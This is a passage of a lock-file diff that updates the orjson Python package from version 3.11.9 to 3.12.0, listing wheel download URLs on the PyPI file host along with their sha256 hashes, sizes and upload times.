"https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" }, - { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" }, - { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" }, - { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" }, - { url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" }, - { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" }, - { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" }, - { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" }, - { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" }, - { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" }, - { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" }, - { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" }, - { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" }, - { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" }, - { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" }, - { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" }, - { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" }, - { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" }, - { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" }, - { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" }, - { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" }, - { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" }, - { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" }, - { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" }, - { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" }, - { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" }, - { url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" }, - { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" }, - { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" }, - { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" }, - { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" }, - { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" }, - { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" }, - { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" }, - { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" }, - { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" }, - { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" }, - { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" }, +version = "3.12.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0f/f3/742fb1f62b825f2c010697eaf4e828004bc2a81e7e806666989c132c7c42/orjson-3.12.0.tar.gz", hash = "sha256:d14203fb1aae2ad9b3d52f8a0e82aeb10197ef1c9bc61da7f358bd70b00123d5", size = 4142915, upload-time = "2026-08-14T16:13:30.607Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cf/35/819eeb4fa8ee676d38fdbb8213a76fd496f7dbbfdfafa89d34e02b22dfac/orjson-3.12.0-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:747843254519dd43b93eee3153a19e5a509334320c4d2f823ec879232db5c796", size = 224133, upload-time = "2026-08-14T16:12:00.607Z" }, + { url = "https://files.pythonhosted.org/packages/58/ab/d9221d4a2b085b073fcddc91728d490f20b9cf010c62c2f42371ab997695/orjson-3.12.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:7c2ad193c8004254f34b499f3bd2c80f043d10754aff2b38f93da574f4883f98", size = 113669, upload-time = "2026-08-14T16:12:02.126Z" }, + { url = "https://files.pythonhosted.org/packages/15/12/644cbbcabb26df61d9ef0c66e6f2bf8b687cc7b66137597f2858951f1952/orjson-3.12.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:bc7a872f03522d90e0429e6c0c5cd23084f767bedcb4c58048eec19294613344", size = 130410, upload-time = "2026-08-14T16:12:03.503Z" }, + { url = "https://files.pythonhosted.org/packages/14/6d/e3a8c34d687895aecd8b267a01c46106eb98d8424a83bfa7bacb723854f6/orjson-3.12.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18a87929f31d94a77f7dc93cf527e91f39ce7fe7813d588a4de2507efd32a387", size = 131101, upload-time = "2026-08-14T16:12:04.918Z" }, + { url = "https://files.pythonhosted.org/packages/75/20/930824c07685c22af23f26818ed3853b0270488a412b6ab757904b7f787b/orjson-3.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e9683ee9ea0659da64f36574ef675b8a86330c34c19ea75db1fb93c3ff99e0ef", size = 131479, upload-time = "2026-08-14T16:12:06.11Z" }, + { url = "https://files.pythonhosted.org/packages/4c/a6/22e863bbbe8917aa292e33e0db597000f9a07eb5e6f52efed623fa16bae1/orjson-3.12.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:103b5db66aa53c1f9e88c2524be4f383e831ba7dfd5f9f5af6336a177c622f11", size = 135865, upload-time = "2026-08-14T16:12:07.392Z" }, + { url = "https://files.pythonhosted.org/packages/50/a0/ceb5008914a65e9a19a46a09d94bc67a74d120209fdfa772750023ceb377/orjson-3.12.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:bd57d79aefa3f84eec851d6de7a366795b9345cfaf17f82b4820430a7a5fa241", size = 127843, upload-time = "2026-08-14T16:12:08.607Z" }, + { url = "https://files.pythonhosted.org/packages/12/3d/61c6b3b84c250cb09cb7229701ff77e4d763773ad7f577d0b6abf2892664/orjson-3.12.0-cp310-cp310-win32.whl", hash = "sha256:3dbce9b6b3074b31a5d5dd322a9c4e5b16f206091ece4194c2e36952847a105e", size = 128293, upload-time = "2026-08-14T16:12:09.819Z" }, + { url = "https://files.pythonhosted.org/packages/ce/0e/ea0f4a563253b6363195a4f704123c6bfbf156641bd3be5a75de81c5e917/orjson-3.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:3bb17a06f9bd15237b3216c044209fe92597379124018cfc196fbb846cde64df", size = 122216, upload-time = "2026-08-14T16:12:11.261Z" }, + { url = "https://files.pythonhosted.org/packages/75/1a/a7075a8e8b0d3f5097d17ac3099017104b6b7b42012041147995d5b2da05/orjson-3.12.0-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a94f0f0c6fcbb2b5bd9734c57a489c7584a732bbdf04a39e8c83b861e9d03e92", size = 223409, upload-time = "2026-08-14T16:12:12.654Z" }, + { url = "https://files.pythonhosted.org/packages/05/34/c2eb3b2900e5597db7841a4c6416ac2d90081bd956b02d4dd1833fa2b96b/orjson-3.12.0-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:a696529ec96a90d9a5f9570207efe403c8b08f8e4aa2783ee3403511e2fdfa10", size = 124015, upload-time = "2026-08-14T16:12:14.025Z" }, + { url = "https://files.pythonhosted.org/packages/1c/df/b49081766a75b6a37b3d33bdc0a39e492abab8441dd25e3e1998e7b83fcb/orjson-3.12.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:e4ac5059baab4b3acbd99485de019ff8cda0fdf34b61fa74f7197a53db78bfe8", size = 113471, upload-time = "2026-08-14T16:12:15.81Z" }, + { url = "https://files.pythonhosted.org/packages/48/d4/58ea28eeef95c2a27358ed927380a621162cf20bd740bbccf9c3f09a200a/orjson-3.12.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:8e29957429c35bbb5a185a119c523aa2428b7bbf1a293724c7b9375ed8f892a3", size = 129998, upload-time = "2026-08-14T16:12:17.503Z" }, + { url = "https://files.pythonhosted.org/packages/e2/f4/1e82aa2efc9916422d804697876ce433c907a1abd7c7e5c6d3d48565e5f9/orjson-3.12.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dce0166feb0a737ab84f598c9a338cbc0b764a036617aa686194f53c7eba0c3e", size = 130891, upload-time = "2026-08-14T16:12:18.762Z" }, + { url = "https://files.pythonhosted.org/packages/5b/e1/15169e9d22b59a406264f99d6db387c0b0b12b6357a8a0169917c2a713eb/orjson-3.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9caf3d09f47c3c70c4451ada20ef9bc4a4cdffa26f49862cf0a253b329aae2d5", size = 131285, upload-time = "2026-08-14T16:12:20.251Z" }, + { url = "https://files.pythonhosted.org/packages/a4/3a/763dbd426290d044ec3e615a05e70adb6d8b6f95bf17dc355c0081a5e8b6/orjson-3.12.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b9dca132b1fda5565088e65a6b6e742285e0aeceb6fae549fa8863e16c7d3998", size = 135707, upload-time = "2026-08-14T16:12:21.652Z" }, + { url = "https://files.pythonhosted.org/packages/04/d1/3b2038ed168d22e14182ed715d6963f9c073a83a2ba43cfe918a4fc43c64/orjson-3.12.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a791f793b287bbc135b8e87c34e35c8bfc693e2a8a620fab1ae682b925f9a32e", size = 127669, upload-time = "2026-08-14T16:12:22.926Z" }, + { url = "https://files.pythonhosted.org/packages/88/ae/b84b3d3e65f5629ada0edcb1d2bccc55d7c5f89d8b981537ecdc3d6f31ec/orjson-3.12.0-cp311-cp311-win32.whl", hash = "sha256:31ed278a36304390adc3eec5d7f6fd593a7c3e99e5a06cd07866396c4b1b4710", size = 128043, upload-time = "2026-08-14T16:12:24.367Z" }, + { url = "https://files.pythonhosted.org/packages/35/24/2ed0e6f51ea3d0af45d807233a851175af75bec83ef5fd0d6a2601904ec0/orjson-3.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:fb2539159dfe8d371914f354360fa50e4a577cc89222a3828b9650a5e5040252", size = 122084, upload-time = "2026-08-14T16:12:25.813Z" }, + { url = "https://files.pythonhosted.org/packages/21/dd/95d25fcfbc9471799ef6bb01c552d64ee5cde93ee40ba2f423dd3442c708/orjson-3.12.0-cp311-cp311-win_arm64.whl", hash = "sha256:61318b6de893c7a9d9f3e5ecbadccbfc26a7eb417ccc7bbf0771de3b4d72f868", size = 127035, upload-time = "2026-08-14T16:12:27.201Z" }, + { url = "https://files.pythonhosted.org/packages/be/4a/295da39c651c2faac8bd351a2a346f0fdedd9d50b847ee9dfc27d2207ef6/orjson-3.12.0-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:aa3e43a6846e91d7bde3d5a9c66090fcd8744f569a9b6cffc5e1ca38f6a461c0", size = 223427, upload-time = "2026-08-14T16:12:28.525Z" }, + { url = "https://files.pythonhosted.org/packages/29/98/758cf90fbeaaafb7f8141bfac75a432099959f3a2f5db93a412e876415d8/orjson-3.12.0-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:11edb4660a6680abee9788a3a9072208a2c96538cc1322bd79542065229d8e54", size = 123725, upload-time = "2026-08-14T16:12:30.013Z" }, + { url = "https://files.pythonhosted.org/packages/32/b5/5b934d251f8651f7e41df180ad0c57a6e1cabe15c7bd331638413a50ebc9/orjson-3.12.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:2d3a9da945a4d96ae758fdaaca56742e6b73b6fd554c5d8876f252a6dad70b83", size = 113375, upload-time = "2026-08-14T16:12:31.209Z" }, + { url = "https://files.pythonhosted.org/packages/cd/d2/37efb5b12a176ce3ced29f4144f20da57d02757f78ce549637dc1b4e1fc8/orjson-3.12.0-cp312-cp312-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:92ffc09e07233a6ab6d4e067f7841edcbcc134cb4812155cf171ea5255a421d7", size = 129983, upload-time = "2026-08-14T16:12:32.721Z" }, + { url = "https://files.pythonhosted.org/packages/50/22/0644b87c73f13e0092df8f35a1fe280d991e5e90072087411e0dd7e44e0c/orjson-3.12.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf44e374aadde77b1f6109f1030be51433eb61984379852766b6f4e187db7b1e", size = 130629, upload-time = "2026-08-14T16:12:34.084Z" }, + { url = "https://files.pythonhosted.org/packages/8c/57/80b986ebfecd9c6a177ddf1c2319717f0cd8feffb2b78946595a18a2fc88/orjson-3.12.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1192a7021b6d071aaf909864f6e924d6a2675ca360485b972b8401749311750b", size = 131245, upload-time = "2026-08-14T16:12:35.713Z" }, + { url = "https://files.pythonhosted.org/packages/80/3d/75c5ac5a69161f44492a68fbdde66f4cc4ce48cd5e1fb05918e46f0c8848/orjson-3.12.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:53c0c474a9d9aff9aebfc0c88de1f28f843d940e6e3a80729abdf6a20274356f", size = 135397, upload-time = "2026-08-14T16:12:37.128Z" }, + { url = "https://files.pythonhosted.org/packages/71/93/4d71f2df314a97ff0d27a4559bf5888fc8406e3c6dec90e92291e3511215/orjson-3.12.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:532ff8cd4bd59a327a953a7dcde922c7fc25b85e29721bb8633265430d3a3873", size = 127693, upload-time = "2026-08-14T16:12:38.627Z" }, + { url = "https://files.pythonhosted.org/packages/bc/1d/0dbc6be5adfd1730491072fb60beb6bcdf5d7b2596ee41b7fc2e298bfc09/orjson-3.12.0-cp312-cp312-win32.whl", hash = "sha256:a6cf4b18e7de173f209f2084ffbd736dd72389a396326ee80a7022168be232e5", size = 128000, upload-time = "2026-08-14T16:12:39.954Z" }, + { url = "https://files.pythonhosted.org/packages/2d/c9/97b1ce0112ebf5e949c775ed5b1755e562233179f3584579673cc24d6378/orjson-3.12.0-cp312-cp312-win_amd64.whl", hash = "sha256:010811c1b69773450a01cef97727a67b223242f350b77d4ca000e59a9ef2155a", size = 122106, upload-time = "2026-08-14T16:12:41.324Z" }, + { url = "https://files.pythonhosted.org/packages/a8/6a/facd8b312e4a0d3a7fa978c7e15821f74a336adf1d65529faec33b48e18b/orjson-3.12.0-cp312-cp312-win_arm64.whl", hash = "sha256:ad29eece0c601737f2a60edc2752a84e7a0785df3efb62e3012834700a5afe0d", size = 126869, upload-time = "2026-08-14T16:12:42.651Z" }, + { url = "https://files.pythonhosted.org/packages/54/cb/d7b78218a987eb8a8ce4eeae0286b1bb679333eb631ea0eeaf6371680bfc/orjson-3.12.0-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9a36ec60f1796f9a3f13e3b98390295e17a1c7c10155b448d264098bf9ee5900", size = 223397, upload-time = "2026-08-14T16:12:44.003Z" }, + { url = "https://files.pythonhosted.org/packages/f8/4a/bc87c45e7ec639d35ebefd62618e01939531ac8e171426606a01bda05914/orjson-3.12.0-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:ad0422b92d5195443a39f80c3bcf731cc2e00f153bd32063a47b73b057bd0f03", size = 123662, upload-time = "2026-08-14T16:12:45.433Z" }, + { url = "https://files.pythonhosted.org/packages/94/ee/c9a4ff3f2dbedbbe9e635d0fa72c8866adede09b6335ef9644f53752f0d8/orjson-3.12.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:5a0fdbc216388f653d3752ff310e710f59253bd4ed6a2bfb3f4f06b84714bbd8", size = 113374, upload-time = "2026-08-14T16:12:46.755Z" }, + { url = "https://files.pythonhosted.org/packages/75/09/3f330a026a796c8b4c97a6f429652a5e912e7065039bf96ed25e42aa7b25/orjson-3.12.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:2eb5c56e534127b2b8fa38d2363c8b1b8190367ee0d1d16c041517d880843b94", size = 130029, upload-time = "2026-08-14T16:12:48.06Z" }, + { url = "https://files.pythonhosted.org/packages/7d/40/094cc53126a3d22f76cdf83b6ea67338bed01d774037621a785aa8e6e5ea/orjson-3.12.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:784106539f4b9d4b930e0b4eb8d45168507dae001945e71b4675a367f1e5e806", size = 130528, upload-time = "2026-08-14T16:12:49.362Z" }, + { url = "https://files.pythonhosted.org/packages/bc/74/89bb236deb9565f99434b13052bb40ddfcce4adf3afbfa3132ee7e421468/orjson-3.12.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c680706fc8396d95e7c4c1f9482563f552137aef91b57237a3ad5aaf64629df", size = 131075, upload-time = "2026-08-14T16:12:50.692Z" }, + { url = "https://files.pythonhosted.org/packages/0c/ac/1176360d762c01b5bd34acd56fc098e936c491363d8b6b397ad4aa475547/orjson-3.12.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:83445adc40cba26d6d621185a45128ce455b766af368cad2ab64b970603a7978", size = 135321, upload-time = "2026-08-14T16:12:52.114Z" }, + { url = "https://files.pythonhosted.org/packages/7a/02/bbd881c8b9276d50b998de38b4e97de8ace1aac940b0ee545aedbf65ed00/orjson-3.12.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:644d005bc82f917337a95ce270c9f6f92f9834c2bed7b1477572f8db00784222", size = 127472, upload-time = "2026-08-14T16:12:53.517Z" }, + { url = "https://files.pythonhosted.org/packages/8e/02/a0934d7503e6dcbedd6afac3e7f3f8597fd09389949ad94d0f7540e9dbca/orjson-3.12.0-cp313-cp313-win32.whl", hash = "sha256:d8e78d3d93705e3d27cc17cdb209e44d7a8ea203010cac6ce9c7ffc1ae1996f1", size = 128000, upload-time = "2026-08-14T16:12:55.14Z" }, + { url = "https://files.pythonhosted.org/packages/52/87/69f98f8d40faff103a965a5fbb83f08241b01beaf92badb5413fbc9358cc/orjson-3.12.0-cp313-cp313-win_amd64.whl", hash = "sha256:b85931be5b6763c31283805c9bdaae1ca03ad9f6f12a15f1cbf6745b907932c2", size = 121841, upload-time = "2026-08-14T16:12:56.507Z" }, + { url = 